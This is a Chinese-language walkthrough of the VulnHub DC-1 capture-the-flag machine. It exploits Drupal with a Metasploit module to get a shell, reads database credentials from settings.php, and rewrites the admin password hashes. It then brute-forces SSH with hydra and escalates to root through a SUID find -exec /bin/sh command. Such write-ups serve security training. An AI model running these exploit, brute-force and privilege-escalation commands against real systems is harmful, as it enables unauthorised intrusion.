微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

DC-1靶场搭建及渗透实战详细过程

一. 环境搭建

1. 准备工具

1、kali(必备)

2、DC-1靶场机安装

官网下载:https://download.vulnhub.com/dc/DC-1.zip

2、安装过程

解压后得到一个.ova文件
![image.png](https://img-blog.csdnimg.cn/img_convert/93eb853c28df0a770dbd64e6ff165fb2.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=34&id=u83959d0b&margin=[object Object]&name=image.png&originHeight=42&originWidth=798&originalType=binary&ratio=1&rotation=0&showTitle=false&size=5308&status=done&style=none&taskId=ub3ce6aec-2eaf-4ebf-9cd5-47ac28aa6cd&title=&width=638.4)
直接使用虚拟机打开
![image.png](https://img-blog.csdnimg.cn/img_convert/231f42e417f63710649c77f746a5cc4c.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=216&id=u5b4bf2dc&margin=[object Object]&name=image.png&originHeight=270&originWidth=279&originalType=binary&ratio=1&rotation=0&showTitle=false&size=15197&status=done&style=none&taskId=u2d5fe8c8-7f05-48d6-95fa-9ebcbd6d435&title=&width=223.2)
提示导入失败,不过没有关系点重试就好,导入完成后,打开DC-1虚拟机并等待,过程中别点进虚拟机里面
![image.png](https://img-blog.csdnimg.cn/img_convert/bbd44Feedd8af5609235f2211501d0f9.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=611&id=ufd24a471&margin=[object Object]&name=image.png&originHeight=764&originWidth=1244&originalType=binary&ratio=1&rotation=0&showTitle=false&size=47718&status=done&style=none&taskId=u73b90d04-d81a-46b4-9eaf-80a770d0148&title=&width=995.2)
出现这个界面就表示开启成功 (渗透完得到密码就能登入啦)

注意!!!!靶机和kali的接入模式必须要一致,比如都用net或者都用桥接,不懂的可以看这个(https://zhuanlan.zhihu.com/p/65103100

![image.png](https://img-blog.csdnimg.cn/img_convert/7117a5cb627240deb75f14599ea2cdb2.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=426&id=u80e509db&margin=[object Object]&name=image.png&originHeight=533&originWidth=846&originalType=binary&ratio=1&rotation=0&showTitle=false&size=29302&status=done&style=none&taskId=ubedcd751-4d2c-4074-8a35-512c042b082&title=&width=676.8)

二、渗透过程

这个过程需要用到kali,打开kali(在root用户下)

1、信息收集

①探测主机ip

探测主机ip有很多办法,常见的有arp-scan、namp还有netdiscover

  • arp-scan

arp-sccan -l

该目录是探测当前网段的所有ip地址
![image.png](https://img-blog.csdnimg.cn/img_convert/41d442047a96175a05642e32acafd09d.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=143&id=ub9270d7a&margin=[object Object]&name=image.png&originHeight=179&originWidth=952&originalType=binary&ratio=1&rotation=0&showTitle=false&size=161378&status=done&style=none&taskId=ufecc172e-0cc7-4cbc-ab3e-aa073fb9a90&title=&width=761.6)
然后我们看一下DC靶机的Mac地址
![image.png](https://img-blog.csdnimg.cn/img_convert/e6fdbd3818fe7e666c7f58317b502fbe.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=458&id=u2cf35729&margin=[object Object]&name=image.png&originHeight=573&originWidth=392&originalType=binary&ratio=1&rotation=0&showTitle=false&size=18151&status=done&style=none&taskId=u91c6b65f-7f57-4f1f-8516-943a4082801&title=&width=313.6)
确定了DC主机的ip为192.168.64.141

  • nmap

先看一下kali的地址
![image.png](https://img-blog.csdnimg.cn/img_convert/3f28b869a9afd95ba023d8461828f5a8.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=405&id=u0ab91713&margin=[object Object]&name=image.png&originHeight=506&originWidth=1008&originalType=binary&ratio=1&rotation=0&showTitle=false&size=438944&status=done&style=none&taskId=ud8183a8c-4bf0-4f68-89ca-eab61b86e87&title=&width=806.4)
在使用nmap对64网段进行扫描

nmap -sP 192.168.64.0/24

![image.png](https://img-blog.csdnimg.cn/img_convert/4bc6175bf2a9583383adfd60b6c8a386.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=390&id=ue873c415&margin=[object Object]&name=image.png&originHeight=488&originWidth=797&originalType=binary&ratio=1&rotation=0&showTitle=false&size=338499&status=done&style=none&taskId=ub638031d-089c-4c59-8a8d-b1a9999fbff&title=&width=637.6)

netdiscover

![image.png](https://img-blog.csdnimg.cn/img_convert/f5d8773e7b87499bd34cd23de5b120a4.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=241&id=u15992b83&margin=[object Object]&name=image.png&originHeight=301&originWidth=939&originalType=binary&ratio=1&rotation=0&showTitle=false&size=213062&status=done&style=none&taskId=u14a4d7c6-5a64-4ab2-93da-8f6422a0d26&title=&width=751.2)

②探测目标ip开放端口
用nmap来探测

nmap -sV -p- 192.168.64.141

-sV 扫描目标主机端口上运行的软件信息
-p- 扫描全部端口0-65535

![image.png](https://img-blog.csdnimg.cn/img_convert/0b96cba318923fbf70148c7f949ab902.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=322&id=u867fc32f&margin=[object Object]&name=image.png&originHeight=402&originWidth=1136&originalType=binary&ratio=1&rotation=0&showTitle=false&size=342251&status=done&style=none&taskId=u0e390d94-1256-4356-9fc1-97a9161e07a&title=&width=908.8)
80端口是我们的突破口,80是http协议,我们使用浏览器查看

③收集网页信息

利用火绒插件wappalyzer,查看站点信息,也可以自己判断,网页一看cms就是drupal

什么是cms?

CMS是"Content Management System"的缩写,意为"内容管理系统"。 它采用统一的信息组织的方法分类,对同一类型的信息进行分类,且每一类信息都可以进行新建(Add)、查看(View)、编辑(Edit)和删除(Delete)四种不同的操作。除了使用分类的方式组织信息以外,又采用了统一的用户和权限管理对信息的使用进行控制,即构成了一个完整的信息组织和管理的体系。内容管理系统是企业信息化建设和电子政务的新宠,也是一个相对较新的市场.

![image.png](https://img-blog.csdnimg.cn/img_convert/2c5b55e5431fbba42b3b2bb133a76541.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=708&id=ua67f3fd3&margin=[object Object]&name=image.png&originHeight=885&originWidth=1222&originalType=binary&ratio=1&rotation=0&showTitle=false&size=250551&status=done&style=none&taskId=ue28b94ab-5579-46c2-a379-742ab20872f&title=&width=977.6)
得到如下信息

CMS是Drupal
Apache 2.2.22
PHP 5.4.45
jQuery 1.4.4

2. 漏洞查找与利用

知道cms,我们一般从cms出发找漏洞,百度一下drupal漏洞
![image.png](https://img-blog.csdnimg.cn/img_convert/5af3c64525ca1c9c6e440142fc1eea19.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=493&id=u6b6f9584&margin=[object Object]&name=image.png&originHeight=616&originWidth=1369&originalType=binary&ratio=1&rotation=0&showTitle=false&size=126780&status=done&style=none&taskId=u467baabd-4aaf-458f-ad7f-85f552510e7&title=&width=1095.2)

①漏洞查找

用工具Metasploit(目前世界上领先的渗透测试工具,也是信息安全与渗透测试领域最大的开源项目之一),找一下漏洞,先打开工具

msfconsole

![image.png](https://img-blog.csdnimg.cn/img_convert/a6be289d362001d2749619c7cfca5b26.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=329&id=u86281a49&margin=[object Object]&name=image.png&originHeight=411&originWidth=1054&originalType=binary&ratio=1&rotation=0&showTitle=false&size=227632&status=done&style=none&taskId=ub73a0df4-71ea-4add-bd96-a4b7a8c0ed1&title=&width=843.2)
![image.png](https://img-blog.csdnimg.cn/img_convert/6111bfc4585e179fadf3df0931ab9759.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=628&id=u6e031195&margin=[object Object]&name=image.png&originHeight=785&originWidth=1083&originalType=binary&ratio=1&rotation=0&showTitle=false&size=570149&status=done&style=none&taskId=ue57f501f-55dc-4df9-aaa8-9b231369e49&title=&width=866.4)
然后输入命令

search Drupal

![image.png](https://img-blog.csdnimg.cn/img_convert/0fc99eed9fe7e0fbdaab73d74170c859.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=560&id=ue940271f&margin=[object Object]&name=image.png&originHeight=700&originWidth=1194&originalType=binary&ratio=1&rotation=0&showTitle=false&size=553853&status=done&style=none&taskId=ub5a948e0-69dc-42b4-b35e-d07b30e8604&title=&width=955.2)
可以看到漏洞还挺多的,这里我使用2018年的那个
![image.png](https://img-blog.csdnimg.cn/img_convert/b9d3966356a5eaa925e7245d1ea93144.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=519&id=u55869bb1&margin=[object Object]&name=image.png&originHeight=649&originWidth=1174&originalType=binary&ratio=1&rotation=0&showTitle=false&size=542321&status=done&style=none&taskId=ucb3f8de4-5760-4014-88c3-6d1661f1b98&title=&width=939.2)
接着看一下该漏洞模块参数

show options

![image.png](https://img-blog.csdnimg.cn/img_convert/d3c6958e53388f41352a0456b6b5eb81.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=487&id=ubc246e7b&margin=[object Object]&name=image.png&originHeight=609&originWidth=1147&originalType=binary&ratio=1&rotation=0&showTitle=false&size=444214&status=done&style=none&taskId=u27a9184a-6287-454a-8e2d-446d861bed4&title=&width=917.6)

Current Setting是目前设置的内容
required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置
就上面来说RHOSTS需要set,但是没有内容

所以接着我们来设置一下RHOSTS内容(就是攻击目标IP地址,靶场地址)

set RHOSTS 192.168.64.141

然后再show一下模块参数
![image.png](https://img-blog.csdnimg.cn/img_convert/37f07c769a1cc11c0fa24a1ec8af4345.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=521&id=u215b27d8&margin=[object Object]&name=image.png&originHeight=651&originWidth=1153&originalType=binary&ratio=1&rotation=0&showTitle=false&size=494820&status=done&style=none&taskId=u3f623435-462a-4556-a737-346c2c93582&title=&width=922.4)
设置好参数后开始攻击

exploit

exploit和run是一样的,用run也可以
![image.png](https://img-blog.csdnimg.cn/img_convert/a8ff37c4758159e1f757fb45d24a2d6a.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=193&id=ucef1ca65&margin=[object Object]&name=image.png&originHeight=241&originWidth=1179&originalType=binary&ratio=1&rotation=0&showTitle=false&size=188002&status=done&style=none&taskId=uc735b285-69fb-414a-973f-32316c06f4b&title=&width=943.2)
出现Meterpreter session 1 opened(kali和目标ip的连接)就说明攻击成功啦,接下来我们可以直接上shell

3. Getshell

获取普通shell

后执行ls命令
![image.png](https://img-blog.csdnimg.cn/img_convert/d8f8fec5053ca947508d6a620a014ec5.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=529&id=u4a076db0&margin=[object Object]&name=image.png&originHeight=661&originWidth=344&originalType=binary&ratio=1&rotation=0&showTitle=false&size=169798&status=done&style=none&taskId=ucbe5d0c5-047e-48dc-bfff-15c25f4a575&title=&width=275.2)

获取交互shell

这样看起来有点那啥,不过我们可以利用python实现互交shell,这样就好看一点,使用的前提是攻击主机上必须装有python

python -c ‘import pty; pty.spawn(“/bin/bash”)’

![image.png](https://img-blog.csdnimg.cn/img_convert/68f4ac8d34b9e12a0c57544aba65e8c2.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=46&id=u39e331c8&margin=[object Object]&name=image.png&originHeight=58&originWidth=638&originalType=binary&ratio=1&rotation=0&showTitle=false&size=36072&status=done&style=none&taskId=u17e18fa0-92a5-48d2-ad46-cb284bd33a1&title=&width=510.4)

可以看到这个shell的权限只是普通权限,还不是root,不过还能看看文件啦,先看一下发现的flag1.txt文件

cat flag1.txt

![image.png](https://img-blog.csdnimg.cn/img_convert/880db11e2a02b67ddf06cf6dac575dd5.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=83&id=u57933580&margin=[object Object]&name=image.png&originHeight=104&originWidth=672&originalType=binary&ratio=1&rotation=0&showTitle=false&size=62285&status=done&style=none&taskId=u2779dd3b-0023-4f70-9b48-947972353f4&title=&width=537.6)
翻译过来就是:每个好的CMS都需要一个配置文件,你也一样,emmm,这个先放着,看看还有没有其他flag文件

我们再看看有没有其他flag文件
find / -name flag*
![image.png](https://img-blog.csdnimg.cn/img_convert/8c46e24ee6eb5715747c706ebe138841.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=94&id=ub550d53d&margin=[object Object]&name=image.png&originHeight=117&originWidth=556&originalType=binary&ratio=1&rotation=0&showTitle=false&size=53782&status=done&style=none&taskId=u2b44b617-6f71-4b95-89bf-dfeac596778&title=&width=444.8)
好吧只有一个,我们再看看他的配置文件,一般来说配置文件都有一些特别重要的信息在里面,搞不好还能提权,百度Drupal配置文件,路径挺复杂的不过知道名字叫settings.PHP,我们可以用命令直接搜索并打开,内联执行

cat find / -name settings.PHP

![image.png](https://img-blog.csdnimg.cn/img_convert/788fe0340593c29c8cbd4d98da5da2a2.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=431&id=u8e8b5b02&margin=[object Object]&name=image.png&originHeight=539&originWidth=769&originalType=binary&ratio=1&rotation=0&showTitle=false&size=232583&status=done&style=none&taskId=ud32793cc-b2e9-4bf9-9987-aeaa5c12323&title=&width=615.2)

4、数据库渗透

发现第二个flag以及数据可以账号密码、咱们登录一下

MysqL -udbuser -pR0ck3t

![image.png](https://img-blog.csdnimg.cn/img_convert/c1a223f1049f5fa1d49814ed2f921ed8.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=288&id=ufa387ced&margin=[object Object]&name=image.png&originHeight=360&originWidth=757&originalType=binary&ratio=1&rotation=0&showTitle=false&size=225621&status=done&style=none&taskId=u0d8066ba-e98d-4be7-9f6b-85d2d5d7cd5&title=&width=605.6)
登进去了,这样我们就可以为所欲为修改数据库了,先看看有啥好东西

show databases;

![image.png](https://img-blog.csdnimg.cn/img_convert/ac0e97049285edf239a816769fe12920.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=206&id=ud46b83dc&margin=[object Object]&name=image.png&originHeight=258&originWidth=365&originalType=binary&ratio=1&rotation=0&showTitle=false&size=65509&status=done&style=none&taskId=u95383bcc-0064-4c7a-a560-42ea0d452bd&title=&width=292)
接着使用改数据库,并查看表
use drupaldb;show tables;

![image.png](https://img-blog.csdnimg.cn/img_convert/9bd3b160bc29fd71d914a9354b449ef9.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=570&id=uf62359ec&margin=[object Object]&name=image.png&originHeight=712&originWidth=559&originalType=binary&ratio=1&rotation=0&showTitle=false&size=242778&status=done&style=none&taskId=u9a3c6bfb-7a23-4d86-9708-bfb423ac7b8&title=&width=447.2)
注意到users这个表,看一下有啥,先改小一点字体,不然可能会挤爆不美观

select * from users;

![image.png](https://img-blog.csdnimg.cn/img_convert/13f87e6463410685938f9ff2196399ed.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=470&id=uc0132f85&margin=[object Object]&name=image.png&originHeight=587&originWidth=1176&originalType=binary&ratio=1&rotation=0&showTitle=false&size=383445&status=done&style=none&taskId=u93674716-4f71-4880-a65f-3c9d6ed5ef1&title=&width=940.8)
得到两个用户

1 | admin | S S SDvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
2 | Fred | S S SDWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3qbwc0EkvBQ/9TCGg

密码好复杂,应该不是明文,那想登进后台就很难了就很难了,我们可以通过修改admin的密码,或者是新加一个admin

法一:修改admin密码
我们得先找到加密文件,Drupal的加密脚本在

/var/www/scripts/password-hash.sh

首先我推出MysqL

exit;

打开加密脚本

cat /var/www/scripts/password-hash.sh

![image.png](https://img-blog.csdnimg.cn/img_convert/fc63609af8c5a13863b2282398c3b6f4.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=367&id=ufcd0243c&margin=[object Object]&name=image.png&originHeight=459&originWidth=983&originalType=binary&ratio=1&rotation=0&showTitle=false&size=283377&status=done&style=none&taskId=u8b0e3d0a-1e0e-43e5-9a72-cf649cf27bf&title=&width=786.4)
这个脚本是用PHP写的,而且还能用PHP加参数运行,直接得到加密后的密码,这里我们设置一个密码123456

PHP /var/www/scripts/password-hash.sh 123456

![image.png](https://img-blog.csdnimg.cn/img_convert/9e1d2165201e6597467e2141fa12fcf3.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=102&id=u056ec121&margin=[object Object]&name=image.png&originHeight=127&originWidth=1005&originalType=binary&ratio=1&rotation=0&showTitle=false&size=93069&status=done&style=none&taskId=u4f61b4a6-ae14-4933-a7f3-d38ca695613&title=&width=804)
得到加密后的密码, 接着我们登入MysqL修改一下admin跟Fred的密码

MysqL -udbuser -pR0ck3t

use drupaldb;update users set pass = “ S S SD1UQvb3x7lKoCSX6S9K.r.wB202Lsa/r7fkOj7CelJsSEMFDJjGv” where name = ‘admin’ or name = ‘Fred’;

![image.png](https://img-blog.csdnimg.cn/img_convert/443add7dc0290ff1bafcc496e532d3e0.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=365&id=uaf4f48f9&margin=[object Object]&name=image.png&originHeight=456&originWidth=1167&originalType=binary&ratio=1&rotation=0&showTitle=false&size=313609&status=done&style=none&taskId=u6cb415d5-0165-4e54-97df-b18b3bd49ee&title=&width=933.6)
接着我们用修改好的密码登入
![image.png](https://img-blog.csdnimg.cn/img_convert/e810bcdb059525187d67bfaffac4e797.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=488&id=u66070b7e&margin=[object Object]&name=image.png&originHeight=610&originWidth=1169&originalType=binary&ratio=1&rotation=0&showTitle=false&size=131891&status=done&style=none&taskId=ua12650d1-c9f9-47c9-9a98-39d81b3bec6&title=&width=935.2)
登进去就找到了flag3,提示了我们一些信息passwd和shadow,明显就是linux的文件

/etc/passwd
文件存储了系统用户的基本信息,所有用户都可以对其进行文件操作读
Linux /etc/passwd内容解释(超详细)

/etc/shadow
文件存储了系统用户的密码等信息,只有root权限用户才能读取
Linux /etc/shadow(影子文件)内容解析(超详细)

接着我们查看一下用户信息

tac /etc/passwd

![image.png](https://img-blog.csdnimg.cn/img_convert/95d05ba656394b22a44d12732d37d7bf.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=173&id=u9eceb5a7&margin=[object Object]&name=image.png&originHeight=216&originWidth=582&originalType=binary&ratio=1&rotation=0&showTitle=false&size=133140&status=done&style=none&taskId=u3fed7be1-34c8-404d-a05a-e1c277daa2b&title=&width=465.6)
可以看到有flag4这个用户,我们有两个方法拿到这个用户的密码,一个是爆破,另一个就是提权打开shadow文件查看密码

5. 用户密码爆破

事先参考SSH
SSH简介及两种远程登录的方法_Jack LDZ的博客-CSDN博客_ssh

利用工具Hydra爆破flag4的密码
(总结)Linux下的暴力密码在线破解工具Hydra详解

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.64.141

![image.png](https://img-blog.csdnimg.cn/img_convert/c80f9fe1e7f5a7fe635dfc283e5d0810.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=251&id=u54fc1e98&margin=[object Object]&name=image.png&originHeight=314&originWidth=1139&originalType=binary&ratio=1&rotation=0&showTitle=false&size=256028&status=done&style=none&taskId=u2fa00146-ccc0-465c-8a7d-54e41f931e5&title=&width=911.2)
爆破出密码orange,然后我们用kali连接

ssh flag4@192.168.64.141

![image.png](https://img-blog.csdnimg.cn/img_convert/87bbb33f9eac48e73531c937a4c3e1b7.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=209&id=u2c7a0f50&margin=[object Object]&name=image.png&originHeight=261&originWidth=656&originalType=binary&ratio=1&rotation=0&showTitle=false&size=98767&status=done&style=none&taskId=u5224c7a3-a996-488a-8aee-22847de26c6&title=&width=524.8)
打开了flag4.txt,emmm其实好像也没啥

![image.png](https://img-blog.csdnimg.cn/img_convert/19c37e71d92843e29462bc987de7f39d.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=92&id=udb7a6a54&margin=[object Object]&name=image.png&originHeight=115&originWidth=571&originalType=binary&ratio=1&rotation=0&showTitle=false&size=46668&status=done&style=none&taskId=u0c367966-061c-4bce-bd41-cf40fac609f&title=&width=456.8)

6. Linux提权

需要用到SUID提权,参考

简谈SUID提权 - FreeBuf网络安全行业门户

利用find命令,找查具有SUID权限的可执行二进制文件

find / -perm -u=s -type f 2>/dev/null

![image.png](https://img-blog.csdnimg.cn/img_convert/dceb84267f2f716263a38b107d1dd17d.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=331&id=uced1d6d8&margin=[object Object]&name=image.png&originHeight=414&originWidth=491&originalType=binary&ratio=1&rotation=0&showTitle=false&size=96132&status=done&style=none&taskId=u2b02ae44-2fbe-456c-8d7d-44087dd52ce&title=&width=392.8)
find比较常用,可以执行root权限的命令找查文件

find / -name index.PHP -exec “/bin/sh” ;

找查什么文件不重要(但是是存在的文件),只需要格式对,然后后面加上
-exec “/bin/sh” ;

#!/bin/sh简介 - feng…liu - 博客园 (cnblogs.com)

![image.png](https://img-blog.csdnimg.cn/img_convert/ef6a7040e82df6ced4e1d03b253474b4.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=86&id=ufc25ae14&margin=[object Object]&name=image.png&originHeight=108&originWidth=455&originalType=binary&ratio=1&rotation=0&showTitle=false&size=24298&status=done&style=none&taskId=u794a7a06-1c6d-4552-9d2d-afa28155c1c&title=&width=364)

可以看到已经提权成功了,接下来我们只要找到剩下的flag文件就算通关啦

cd /root

ls

cat *

![image.png](https://img-blog.csdnimg.cn/img_convert/48ff3c585f36b6c7f35cd0ee0d45c1f1.png#clientId=ufd900ffd-31ad-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=208&id=u77174c56&margin=[object Object]&name=image.png&originHeight=260&originWidth=550&originalType=binary&ratio=1&rotation=0&showTitle=false&size=61588&status=done&style=none&taskId=ufca11b3d-e18e-4064-9e32-b34f35a19ab&title=&width=440)

原文地址:https://www.jb51.cc/wenti/3286296.html

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐